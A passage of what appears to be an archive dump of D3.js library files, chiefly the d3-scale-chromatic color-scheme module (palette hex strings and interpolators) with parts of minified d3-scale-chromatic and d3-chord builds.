tf,f.schemeGreys=rf,f.interpolatePurples=of,f.schemePurples=nf,f.interpolateReds=pf,f.schemeReds=lf,f.interpolateOranges=sf,f.schemeOranges=mf,f.interpolateCubehelixDefault=uf,f.interpolateRainbow=function(f){(f<0||f>1)&&(f-=Math.floor(f));var e=Math.abs(f-.5);return wf.h=360*f-100,wf.s=1.5-1.5*e,wf.l=.8-.9*e,wf+""},f.interpolateWarm=hf,f.interpolateCool=yf,f.interpolateSinebow=function(f){var e;return f=(.5-f)*Math.PI,Af.r=255*(e=Math.sin(f))*e,Af.g=255*(e=Math.sin(f+Pf))*e,Af.b=255*(e=Math.sin(f+Bf))*e,Af+""},f.interpolateViridis=Rf,f.interpolateMagma=xf,f.interpolateInferno=Yf,f.interpolatePlasma=gf,Object.defineProperty(f,"__esModule",{value:!0})}); d3-scale-chromatic.js000064400000055063151677265060010474 0ustar00// https://d3js.org/d3-scale-chromatic/ v1.3.3 Copyright 2018 Mike Bostock (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-interpolate'), require('d3-color')) : typeof define === 'function' && define.amd ? define(['exports', 'd3-interpolate', 'd3-color'], factory) : (factory((global.d3 = global.d3 || {}),global.d3,global.d3)); }(this, (function (exports,d3Interpolate,d3Color) { 'use strict'; function colors(specifier) { var n = specifier.length / 6 | 0, colors = new Array(n), i = 0; while (i < n) colors[i] = "#" + specifier.slice(i * 6, ++i * 6); return colors; } var category10 = colors("1f77b4ff7f0e2ca02cd627289467bd8c564be377c27f7f7fbcbd2217becf"); var Accent = colors("7fc97fbeaed4fdc086ffff99386cb0f0027fbf5b17666666"); var Dark2 = colors("1b9e77d95f027570b3e7298a66a61ee6ab02a6761d666666"); var Paired = colors("a6cee31f78b4b2df8a33a02cfb9a99e31a1cfdbf6fff7f00cab2d66a3d9affff99b15928"); var Pastel1 = colors("fbb4aeb3cde3ccebc5decbe4fed9a6ffffcce5d8bdfddaecf2f2f2"); var Pastel2 = colors("b3e2cdfdcdaccbd5e8f4cae4e6f5c9fff2aef1e2cccccccc"); var Set1 = colors("e41a1c377eb84daf4a984ea3ff7f00ffff33a65628f781bf999999"); var Set2 = colors("66c2a5fc8d628da0cbe78ac3a6d854ffd92fe5c494b3b3b3"); var Set3 = colors("8dd3c7ffffb3bebadafb807280b1d3fdb462b3de69fccde5d9d9d9bc80bdccebc5ffed6f"); function ramp(scheme) { return d3Interpolate.interpolateRgbBasis(scheme[scheme.length - 1]); } var scheme = new Array(3).concat( "d8b365f5f5f55ab4ac", "a6611adfc27d80cdc1018571", "a6611adfc27df5f5f580cdc1018571", "8c510ad8b365f6e8c3c7eae55ab4ac01665e", "8c510ad8b365f6e8c3f5f5f5c7eae55ab4ac01665e", "8c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e", "8c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e", "5430058c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e003c30", "5430058c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e003c30" ).map(colors); var BrBG = ramp(scheme); var scheme$1 = new Array(3).concat( "af8dc3f7f7f77fbf7b", "7b3294c2a5cfa6dba0008837", "7b3294c2a5cff7f7f7a6dba0008837", "762a83af8dc3e7d4e8d9f0d37fbf7b1b7837", "762a83af8dc3e7d4e8f7f7f7d9f0d37fbf7b1b7837", "762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b7837", "762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b7837", "40004b762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b783700441b", "40004b762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b783700441b" ).map(colors); var PRGn = ramp(scheme$1); var scheme$2 = new Array(3).concat( "e9a3c9f7f7f7a1d76a", "d01c8bf1b6dab8e1864dac26", "d01c8bf1b6daf7f7f7b8e1864dac26", "c51b7de9a3c9fde0efe6f5d0a1d76a4d9221", "c51b7de9a3c9fde0eff7f7f7e6f5d0a1d76a4d9221", "c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221", "c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221", "8e0152c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221276419", "8e0152c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221276419" ).map(colors); var PiYG = ramp(scheme$2); var scheme$3 = new Array(3).concat( "998ec3f7f7f7f1a340", "5e3c99b2abd2fdb863e66101", "5e3c99b2abd2f7f7f7fdb863e66101", "542788998ec3d8daebfee0b6f1a340b35806", "542788998ec3d8daebf7f7f7fee0b6f1a340b35806", "5427888073acb2abd2d8daebfee0b6fdb863e08214b35806", "5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b35806", "2d004b5427888073acb2abd2d8daebfee0b6fdb863e08214b358067f3b08", "2d004b5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b358067f3b08" ).map(colors); var PuOr = ramp(scheme$3); var scheme$4 = new Array(3).concat( "ef8a62f7f7f767a9cf", "ca0020f4a58292c5de0571b0", "ca0020f4a582f7f7f792c5de0571b0", "b2182bef8a62fddbc7d1e5f067a9cf2166ac", "b2182bef8a62fddbc7f7f7f7d1e5f067a9cf2166ac", "b2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac", "b2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac", "67001fb2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac053061", "67001fb2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac053061" ).map(colors); var RdBu = ramp(scheme$4); var scheme$5 = new Array(3).concat( "ef8a62ffffff999999", "ca0020f4a582bababa404040", "ca0020f4a582ffffffbababa404040", "b2182bef8a62fddbc7e0e0e09999994d4d4d", "b2182bef8a62fddbc7ffffffe0e0e09999994d4d4d", "b2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d", "b2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d", "67001fb2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d1a1a1a", "67001fb2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d1a1a1a" ).map(colors); var RdGy = ramp(scheme$5); var scheme$6 = new Array(3).concat( "fc8d59ffffbf91bfdb", "d7191cfdae61abd9e92c7bb6", "d7191cfdae61ffffbfabd9e92c7bb6", "d73027fc8d59fee090e0f3f891bfdb4575b4", "d73027fc8d59fee090ffffbfe0f3f891bfdb4575b4", "d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4", "d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4", "a50026d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4313695", "a50026d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4313695" ).map(colors); var RdYlBu = ramp(scheme$6); var scheme$7 = new Array(3).concat( "fc8d59ffffbf91cf60", "d7191cfdae61a6d96a1a9641", "d7191cfdae61ffffbfa6d96a1a9641", "d73027fc8d59fee08bd9ef8b91cf601a9850", "d73027fc8d59fee08bffffbfd9ef8b91cf601a9850", "d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850", "d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850", "a50026d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850006837", "a50026d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850006837" ).map(colors); var RdYlGn = ramp(scheme$7); var scheme$8 = new Array(3).concat( "fc8d59ffffbf99d594", "d7191cfdae61abdda42b83ba", "d7191cfdae61ffffbfabdda42b83ba", "d53e4ffc8d59fee08be6f59899d5943288bd", "d53e4ffc8d59fee08bffffbfe6f59899d5943288bd", "d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd", "d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd", "9e0142d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd5e4fa2", "9e0142d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd5e4fa2" ).map(colors); var Spectral = ramp(scheme$8); var scheme$9 = new Array(3).concat( "e5f5f999d8c92ca25f", "edf8fbb2e2e266c2a4238b45", "edf8fbb2e2e266c2a42ca25f006d2c", "edf8fbccece699d8c966c2a42ca25f006d2c", "edf8fbccece699d8c966c2a441ae76238b45005824", "f7fcfde5f5f9ccece699d8c966c2a441ae76238b45005824", "f7fcfde5f5f9ccece699d8c966c2a441ae76238b45006d2c00441b" ).map(colors); var BuGn = ramp(scheme$9); var scheme$a = new Array(3).concat( "e0ecf49ebcda8856a7", "edf8fbb3cde38c96c688419d", "edf8fbb3cde38c96c68856a7810f7c", "edf8fbbfd3e69ebcda8c96c68856a7810f7c", "edf8fbbfd3e69ebcda8c96c68c6bb188419d6e016b", "f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d6e016b", "f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d810f7c4d004b" ).map(colors); var BuPu = ramp(scheme$a); var scheme$b = new Array(3).concat( "e0f3dba8ddb543a2ca", "f0f9e8bae4bc7bccc42b8cbe", "f0f9e8bae4bc7bccc443a2ca0868ac", "f0f9e8ccebc5a8ddb57bccc443a2ca0868ac", "f0f9e8ccebc5a8ddb57bccc44eb3d32b8cbe08589e", "f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe08589e", "f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe0868ac084081" ).map(colors); var GnBu = ramp(scheme$b); var scheme$c = new Array(3).concat( "fee8c8fdbb84e34a33", "fef0d9fdcc8afc8d59d7301f", "fef0d9fdcc8afc8d59e34a33b30000", "fef0d9fdd49efdbb84fc8d59e34a33b30000", "fef0d9fdd49efdbb84fc8d59ef6548d7301f990000", "fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301f990000", "fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301fb300007f0000" ).map(colors); var OrRd = ramp(scheme$c); var scheme$d = new Array(3).concat( "ece2f0a6bddb1c9099", "f6eff7bdc9e167a9cf02818a", "f6eff7bdc9e167a9cf1c9099016c59", "f6eff7d0d1e6a6bddb67a9cf1c9099016c59", "f6eff7d0d1e6a6bddb67a9cf3690c002818a016450", "fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016450", "fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016c59014636" ).map(colors); var PuBuGn = ramp(scheme$d); var scheme$e = new Array(3).concat( "ece7f2a6bddb2b8cbe", "f1eef6bdc9e174a9cf0570b0", "f1eef6bdc9e174a9cf2b8cbe045a8d", "f1eef6d0d1e6a6bddb74a9cf2b8cbe045a8d", "f1eef6d0d1e6a6bddb74a9cf3690c00570b0034e7b", "fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0034e7b", "fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0045a8d023858" ).map(colors); var PuBu = ramp(scheme$e); var scheme$f = new Array(3).concat( "e7e1efc994c7dd1c77", "f1eef6d7b5d8df65b0ce1256", "f1eef6d7b5d8df65b0dd1c77980043", "f1eef6d4b9dac994c7df65b0dd1c77980043", "f1eef6d4b9dac994c7df65b0e7298ace125691003f", "f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125691003f", "f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125698004367001f" ).map(colors); var PuRd = ramp(scheme$f); var scheme$g = new Array(3).concat( "fde0ddfa9fb5c51b8a", "feebe2fbb4b9f768a1ae017e", "feebe2fbb4b9f768a1c51b8a7a0177", "feebe2fcc5c0fa9fb5f768a1c51b8a7a0177", "feebe2fcc5c0fa9fb5f768a1dd3497ae017e7a0177", "fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a0177", "fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a017749006a" ).map(colors); var RdPu = ramp(scheme$g); var scheme$h = new Array(3).concat( "edf8b17fcdbb2c7fb8", "ffffcca1dab441b6c4225ea8", "ffffcca1dab441b6c42c7fb8253494", "ffffccc7e9b47fcdbb41b6c42c7fb8253494", "ffffccc7e9b47fcdbb41b6c41d91c0225ea80c2c84", "ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea80c2c84", "ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea8253494081d58" ).map(colors); var YlGnBu = ramp(scheme$h); var scheme$i = new Array(3).concat( "f7fcb9addd8e31a354", "ffffccc2e69978c679238443", "ffffccc2e69978c67931a354006837", "ffffccd9f0a3addd8e78c67931a354006837", "ffffccd9f0a3addd8e78c67941ab5d238443005a32", "ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443005a32", "ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443006837004529" ).map(colors); var YlGn = ramp(scheme$i); var scheme$j = new Array(3).concat( "fff7bcfec44fd95f0e", "ffffd4fed98efe9929cc4c02", "ffffd4fed98efe9929d95f0e993404", "ffffd4fee391fec44ffe9929d95f0e993404", "ffffd4fee391fec44ffe9929ec7014cc4c028c2d04", "ffffe5fff7bcfee391fec44ffe9929ec7014cc4c028c2d04", "ffffe5fff7bcfee391fec44ffe9929ec7014cc4c02993404662506" ).map(colors); var YlOrBr = ramp(scheme$j); var scheme$k = new Array(3).concat( "ffeda0feb24cf03b20", "ffffb2fecc5cfd8d3ce31a1c", "ffffb2fecc5cfd8d3cf03b20bd0026", "ffffb2fed976feb24cfd8d3cf03b20bd0026", "ffffb2fed976feb24cfd8d3cfc4e2ae31a1cb10026", "ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cb10026", "ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cbd0026800026" ).map(colors); var YlOrRd = ramp(scheme$k); var scheme$l = new Array(3).concat( "deebf79ecae13182bd", "eff3ffbdd7e76baed62171b5", "eff3ffbdd7e76baed63182bd08519c", "eff3ffc6dbef9ecae16baed63182bd08519c", "eff3ffc6dbef9ecae16baed64292c62171b5084594", "f7fbffdeebf7c6dbef9ecae16baed64292c62171b5084594", "f7fbffdeebf7c6dbef9ecae16baed64292c62171b508519c08306b" ).map(colors); var Blues = ramp(scheme$l); var scheme$m = new Array(3).concat( "e5f5e0a1d99b31a354", "edf8e9bae4b374c476238b45", "edf8e9bae4b374c47631a354006d2c", "edf8e9c7e9c0a1d99b74c47631a354006d2c", "edf8e9c7e9c0a1d99b74c47641ab5d238b45005a32", "f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45005a32", "f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45006d2c00441b" ).map(colors); var Greens = ramp(scheme$m); var scheme$n = new Array(3).concat( "f0f0f0bdbdbd636363", "f7f7f7cccccc969696525252", "f7f7f7cccccc969696636363252525", "f7f7f7d9d9d9bdbdbd969696636363252525", "f7f7f7d9d9d9bdbdbd969696737373525252252525", "fffffff0f0f0d9d9d9bdbdbd969696737373525252252525", "fffffff0f0f0d9d9d9bdbdbd969696737373525252252525000000" ).map(colors); var Greys = ramp(scheme$n); var scheme$o = new Array(3).concat( "efedf5bcbddc756bb1", "f2f0f7cbc9e29e9ac86a51a3", "f2f0f7cbc9e29e9ac8756bb154278f", "f2f0f7dadaebbcbddc9e9ac8756bb154278f", "f2f0f7dadaebbcbddc9e9ac8807dba6a51a34a1486", "fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a34a1486", "fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a354278f3f007d" ).map(colors); var Purples = ramp(scheme$o); var scheme$p = new Array(3).concat( "fee0d2fc9272de2d26", "fee5d9fcae91fb6a4acb181d", "fee5d9fcae91fb6a4ade2d26a50f15", "fee5d9fcbba1fc9272fb6a4ade2d26a50f15", "fee5d9fcbba1fc9272fb6a4aef3b2ccb181d99000d", "fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181d99000d", "fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181da50f1567000d" ).map(colors); var Reds = ramp(scheme$p); var scheme$q = new Array(3).concat( "fee6cefdae6be6550d", "feeddefdbe85fd8d3cd94701", "feeddefdbe85fd8d3ce6550da63603", "feeddefdd0a2fdae6bfd8d3ce6550da63603", "feeddefdd0a2fdae6bfd8d3cf16913d948018c2d04", "fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d948018c2d04", "fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d94801a636037f2704" ).map(colors); var Oranges = ramp(scheme$q); var cubehelix = d3Interpolate.interpolateCubehelixLong(d3Color.cubehelix(300, 0.5, 0.0), d3Color.cubehelix(-240, 0.5, 1.0)); var warm = d3Interpolate.interpolateCubehelixLong(d3Color.cubehelix(-100, 0.75, 0.35), d3Color.cubehelix(80, 1.50, 0.8)); var cool = d3Interpolate.interpolateCubehelixLong(d3Color.cubehelix(260, 0.75, 0.35), d3Color.cubehelix(80, 1.50, 0.8)); var c = d3Color.cubehelix(); function rainbow(t) { if (t < 0 || t > 1) t -= Math.floor(t); var ts = Math.abs(t - 0.5); c.h = 360 * t - 100; c.s = 1.5 - 1.5 * ts; c.l = 0.8 - 0.9 * ts; return c + ""; } var c$1 = d3Color.rgb(), pi_1_3 = Math.PI / 3, pi_2_3 = Math.PI * 2 / 3; function sinebow(t) { var x; t = (0.5 - t) * Math.PI; c$1.r = 255 * (x = Math.sin(t)) * x; c$1.g = 255 * (x = Math.sin(t + pi_1_3)) * x; c$1.b = 255 * (x = Math.sin(t + pi_2_3)) * x; return c$1 + ""; } function ramp$1(range) { var n = range.length; return function(t) { return range[Math.max(0, Math.min(n - 1, Math.floor(t * n)))]; }; } var viridis = ramp$1(colors("44015444025645045745055946075a46085c460a5d460b5e470d60470e6147106347116447136548146748166848176948186a481a6c481b6d481c6e481d6f481f70482071482173482374482475482576482677482878482979472a7a472c7a472d7b472e7c472f7d46307e46327e46337f463480453581453781453882443983443a83443b84433d84433e85423f854240864241864142874144874045884046883f47883f48893e49893e4a893e4c8a3d4d8a3d4e8a3c4f8a3c508b3b518b3b528b3a538b3a548c39558c39568c38588c38598c375a8c375b8d365c8d365d8d355e8d355f8d34608d34618d33628d33638d32648e32658e31668e31678e31688e30698e306a8e2f6b8e2f6c8e2e6d8e2e6e8e2e6f8e2d708e2d718e2c718e2c728e2c738e2b748e2b758e2a768e2a778e2a788e29798e297a8e297b8e287c8e287d8e277e8e277f8e27808e26818e26828e26828e25838e25848e25858e24868e24878e23888e23898e238a8d228b8d228c8d228d8d218e8d218f8d21908d21918c20928c20928c20938c1f948c1f958b1f968b1f978b1f988b1f998a1f9a8a1e9b8a1e9c891e9d891f9e891f9f881fa0881fa1881fa1871fa28720a38620a48621a58521a68522a78522a88423a98324aa8325ab8225ac8226ad8127ad8128ae8029af7f2ab07f2cb17e2db27d2eb37c2fb47c31b57b32b67a34b67935b77937b87838b9773aba763bbb753dbc743fbc7340bd7242be7144bf7046c06f48c16e4ac16d4cc26c4ec36b50c46a52c56954c56856c66758c7655ac8645cc8635ec96260ca6063cb5f65cb5e67cc5c69cd5b6ccd5a6ece5870cf5773d05675d05477d1537ad1517cd2507fd34e81d34d84d44b86d54989d5488bd6468ed64590d74393d74195d84098d83e9bd93c9dd93ba0da39a2da37a5db36a8db34aadc32addc30b0dd2fb2dd2db5de2bb8de29bade28bddf26c0df25c2df23c5e021c8e020cae11fcde11dd0e11cd2e21bd5e21ad8e219dae319dde318dfe318e2e418e5e419e7e419eae51aece51befe51cf1e51df4e61ef6e620f8e621fbe723fde725")); var magma = ramp$1(colors("00000401000501010601010802010902020b02020d03030f03031204041405041606051806051a07061c08071e0907200a08220b09240c09260d0a290e0b2b100b2d110c2f120d31130d34140e36150e38160f3b180f3d19103f1a10421c10441d11471e114920114b21114e22115024125325125527125829115a2a115c2c115f2d11612f116331116533106734106936106b38106c390f6e3b0f703d0f713f0f72400f74420f75440f764510774710784910784a10794c117a4e117b4f127b51127c52137c54137d56147d57157e59157e5a167e5c167f5d177f5f187f601880621980641a80651a80671b80681c816a1c816b1d816d1d816e1e81701f81721f817320817521817621817822817922827b23827c23827e24828025828125818326818426818627818827818928818b29818c29818e2a81902a81912b81932b80942c80962c80982d80992d809b2e7f9c2e7f9e2f7fa02f7fa1307ea3307ea5317ea6317da8327daa337dab337cad347cae347bb0357bb2357bb3367ab5367ab73779b83779ba3878bc3978bd3977bf3a77c03a76c23b75c43c75c53c74c73d73c83e73ca3e72cc3f71cd4071cf4070d0416fd2426fd3436ed5446dd6456cd8456cd9466bdb476adc4869de4968df4a68e04c67e24d66e34e65e44f64e55064e75263e85362e95462ea5661eb5760ec5860ed5a5fee5b5eef5d5ef05f5ef1605df2625df2645cf3655cf4675cf4695cf56b5cf66c5cf66e5cf7705cf7725cf8745cf8765cf9785df9795df97b5dfa7d5efa7f5efa815ffb835ffb8560fb8761fc8961fc8a62fc8c63fc8e64fc9065fd9266fd9467fd9668fd9869fd9a6afd9b6bfe9d6cfe9f6dfea16efea36ffea571fea772fea973feaa74feac76feae77feb078feb27afeb47bfeb67cfeb77efeb97ffebb81febd82febf84fec185fec287fec488fec68afec88cfeca8dfecc8ffecd90fecf92fed194fed395fed597fed799fed89afdda9cfddc9efddea0fde0a1fde2a3fde3a5fde5a7fde7a9fde9aafdebacfcecaefceeb0fcf0b2fcf2b4fcf4b6fcf6b8fcf7b9fcf9bbfcfbbdfcfdbf")); var inferno = ramp$1(colors("00000401000501010601010802010a02020c02020e03021004031204031405041706041907051b08051d09061f0a07220b07240c08260d08290e092b10092d110a30120a32140b34150b37160b39180c3c190c3e1b0c411c0c431e0c451f0c48210c4a230c4c240c4f260c51280b53290b552b0b572d0b592f0a5b310a5c320a5e340a5f3609613809623909633b09643d09653e0966400a67420a68440a68450a69470b6a490b6a4a0c6b4c0c6b4d0d6c4f0d6c510e6c520e6d540f6d550f6d57106e59106e5a116e5c126e5d126e5f136e61136e62146e64156e65156e67166e69166e6a176e6c186e6d186e6f196e71196e721a6e741a6e751b6e771c6d781c6d7a1d6d7c1d6d7d1e6d7f1e6c801f6c82206c84206b85216b87216b88226a8a226a8c23698d23698f24699025689225689326679526679727669827669a28659b29649d29649f2a63a02a63a22b62a32c61a52c60a62d60a82e5fa92e5eab2f5ead305dae305cb0315bb1325ab3325ab43359b63458b73557b93556ba3655bc3754bd3853bf3952c03a51c13a50c33b4fc43c4ec63d4dc73e4cc83f4bca404acb4149cc4248ce4347cf4446d04545d24644d34743d44842d54a41d74b3fd84c3ed94d3dda4e3cdb503bdd513ade5238df5337e05536e15635e25734e35933e45a31e55c30e65d2fe75e2ee8602de9612bea632aeb6429eb6628ec6726ed6925ee6a24ef6c23ef6e21f06f20f1711ff1731df2741cf3761bf37819f47918f57b17f57d15f67e14f68013f78212f78410f8850ff8870ef8890cf98b0bf98c0af98e09fa9008fa9207fa9407fb9606fb9706fb9906fb9b06fb9d07fc9f07fca108fca309fca50afca60cfca80dfcaa0ffcac11fcae12fcb014fcb216fcb418fbb61afbb81dfbba1ffbbc21fbbe23fac026fac228fac42afac62df9c72ff9c932f9cb35f8cd37f8cf3af7d13df7d340f6d543f6d746f5d949f5db4cf4dd4ff4df53f4e156f3e35af3e55df2e661f2e865f2ea69f1ec6df1ed71f1ef75f1f179f2f27df2f482f3f586f3f68af4f88ef5f992f6fa96f8fb9af9fc9dfafda1fcffa4")); var plasma = ramp$1(colors("0d088710078813078916078a19068c1b068d1d068e20068f2206902406912605912805922a05932c05942e05952f059631059733059735049837049938049a3a049a3c049b3e049c3f049c41049d43039e44039e46039f48039f4903a04b03a14c02a14e02a25002a25102a35302a35502a45601a45801a45901a55b01a55c01a65e01a66001a66100a76300a76400a76600a76700a86900a86a00a86c00a86e00a86f00a87100a87201a87401a87501a87701a87801a87a02a87b02a87d03a87e03a88004a88104a78305a78405a78606a68707a68808a68a09a58b0aa58d0ba58e0ca48f0da4910ea3920fa39410a29511a19613a19814a099159f9a169f9c179e9d189d9e199da01a9ca11b9ba21d9aa31e9aa51f99a62098a72197a82296aa2395ab2494ac2694ad2793ae2892b02991b12a90b22b8fb32c8eb42e8db52f8cb6308bb7318ab83289ba3388bb3488bc3587bd3786be3885bf3984c03a83c13b82c23c81c33d80c43e7fc5407ec6417dc7427cc8437bc9447aca457acb4679cc4778cc4977cd4a76ce4b75cf4c74d04d73d14e72d24f71d35171d45270d5536fd5546ed6556dd7566cd8576bd9586ada5a6ada5b69db5c68dc5d67dd5e66de5f65de6164df6263e06363e16462e26561e26660e3685fe4695ee56a5de56b5de66c5ce76e5be76f5ae87059e97158e97257ea7457eb7556eb7655ec7754ed7953ed7a52ee7b51ef7c51ef7e50f07f4ff0804ef1814df1834cf2844bf3854bf3874af48849f48948f58b47f58c46f68d45f68f44f79044f79143f79342f89441f89540f9973ff9983ef99a3efa9b3dfa9c3cfa9e3bfb9f3afba139fba238fca338fca537fca636fca835fca934fdab33fdac33fdae32fdaf31fdb130fdb22ffdb42ffdb52efeb72dfeb82cfeba2cfebb2bfebd2afebe2afec029fdc229fdc328fdc527fdc627fdc827fdca26fdcb26fccd25fcce25fcd025fcd225fbd324fbd524fbd724fad824fada24f9dc24f9dd25f8df25f8e125f7e225f7e425f6e626f6e826f5e926f5eb27f4ed27f3ee27f3f027f2f227f1f426f1f525f0f724f0f921")); exports.schemeCategory10 = category10; exports.schemeAccent = Accent; exports.schemeDark2 = Dark2; exports.schemePaired = Paired; exports.schemePastel1 = Pastel1; exports.schemePastel2 = Pastel2; exports.schemeSet1 = Set1; exports.schemeSet2 = Set2; exports.schemeSet3 = Set3; exports.interpolateBrBG = BrBG; exports.schemeBrBG = scheme; exports.interpolatePRGn = PRGn; exports.schemePRGn = scheme$1; exports.interpolatePiYG = PiYG; exports.schemePiYG = scheme$2; exports.interpolatePuOr = PuOr; exports.schemePuOr = scheme$3; exports.interpolateRdBu = RdBu; exports.schemeRdBu = scheme$4; exports.interpolateRdGy = RdGy; exports.schemeRdGy = scheme$5; exports.interpolateRdYlBu = RdYlBu; exports.schemeRdYlBu = scheme$6; exports.interpolateRdYlGn = RdYlGn; exports.schemeRdYlGn = scheme$7; exports.interpolateSpectral = Spectral; exports.schemeSpectral = scheme$8; exports.interpolateBuGn = BuGn; exports.schemeBuGn = scheme$9; exports.interpolateBuPu = BuPu; exports.schemeBuPu = scheme$a; exports.interpolateGnBu = GnBu; exports.schemeGnBu = scheme$b; exports.interpolateOrRd = OrRd; exports.schemeOrRd = scheme$c; exports.interpolatePuBuGn = PuBuGn; exports.schemePuBuGn = scheme$d; exports.interpolatePuBu = PuBu; exports.schemePuBu = scheme$e; exports.interpolatePuRd = PuRd; exports.schemePuRd = scheme$f; exports.interpolateRdPu = RdPu; exports.schemeRdPu = scheme$g; exports.interpolateYlGnBu = YlGnBu; exports.schemeYlGnBu = scheme$h; exports.interpolateYlGn = YlGn; exports.schemeYlGn = scheme$i; exports.interpolateYlOrBr = YlOrBr; exports.schemeYlOrBr = scheme$j; exports.interpolateYlOrRd = YlOrRd; exports.schemeYlOrRd = scheme$k; exports.interpolateBlues = Blues; exports.schemeBlues = scheme$l; exports.interpolateGreens = Greens; exports.schemeGreens = scheme$m; exports.interpolateGreys = Greys; exports.schemeGreys = scheme$n; exports.interpolatePurples = Purples; exports.schemePurples = scheme$o; exports.interpolateReds = Reds; exports.schemeReds = scheme$p; exports.interpolateOranges = Oranges; exports.schemeOranges = scheme$q; exports.interpolateCubehelixDefault = cubehelix; exports.interpolateRainbow = rainbow; exports.interpolateWarm = warm; exports.interpolateCool = cool; exports.interpolateSinebow = sinebow; exports.interpolateViridis = viridis; exports.interpolateMagma = magma; exports.interpolateInferno = inferno; exports.interpolatePlasma = plasma; Object.defineProperty(exports, '__esModule', { value: true }); }))); d3-chord.min.js000064400000005240151677266450007313 0ustar00// https://d3js.org/d3-chord/ v1.0.6 Copyright 2018 Mike Bostock !function(n,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports,require("d3-array"),require("d3-path")):"function"==typeof define&&define.amd?define(["exports","d3-array","d3-path"],t):t(n.d3=n.d3||{},n.d3,n.d3)}(this,function(n,t,r){"use strict";var e=Math.cos,u=Math.sin,o=Math.PI,a=o/2,l=2*o,i=Math.max;var c=Array.prototype.slice;function f(n){return function(){return n}}function s(n){return n.source}function p(n){return n.target}function h(n){return n.radius}function d(n){return n.startAngle}function g(n){return n.endAngle}n.chord=function(){var n=0,r=null,e=null,u=null;function o(o){var a,c,f,s,p,h,d=o.length,g=[],v=t.range(d),y=[],A=[],x=A.groups=new Array(d),b=new Array(d*d);for(a=0,p=-1;++p<d;){for(c=0,h=-1;++h<d;)c+=o[p][h];g.push(c),y.push(t.range(d)),a+=c}for(r&&v.sort(function(n,t){return r(g[n],g[t])}),e&&y.forEach(function(n,t){n.sort(function(n,r){return e(o[t][n],o[t][r])})}),s=(a=i(0,l-n*d)/a)?n:l/d,c=0,p=-1;++p<d;){for(f=c,h=-1;++h<d;){var M=v[p],m=y[M][h],q=o[M][m],_=c,C=c+=q*a;b[m*d+M]={index:M,subindex:m,startAngle:_,endAngle:C,value:q}}x[M]={index:M,startAngle:f,endAngle:c,value:g[M]},c+=s}for(p=-1;++p<d;)for(h=p-1;++h<d;){var P=b[h*d+p],T=b[p*d+h];(P.value||T.value)&&A.push(P.value<T.value?{source:T,target:P}:{source:P,target:T})}return u?A.sort(u):A}return o.padAngle=function(t){return arguments.length?(n=i(0,t),o):n},o.sortGroups=function(n){return arguments.length?(r=n,o):r},o.sortSubgroups=function(n){return arguments.length?(e=n,o):e},o.sortChords=function(n){return arguments.length?(null==n?u=null:(t=n,u=function(n,r){return t(n.source.value+n.target.value,r.source.value+r.target.value)})._=n,o):u&&u._;var 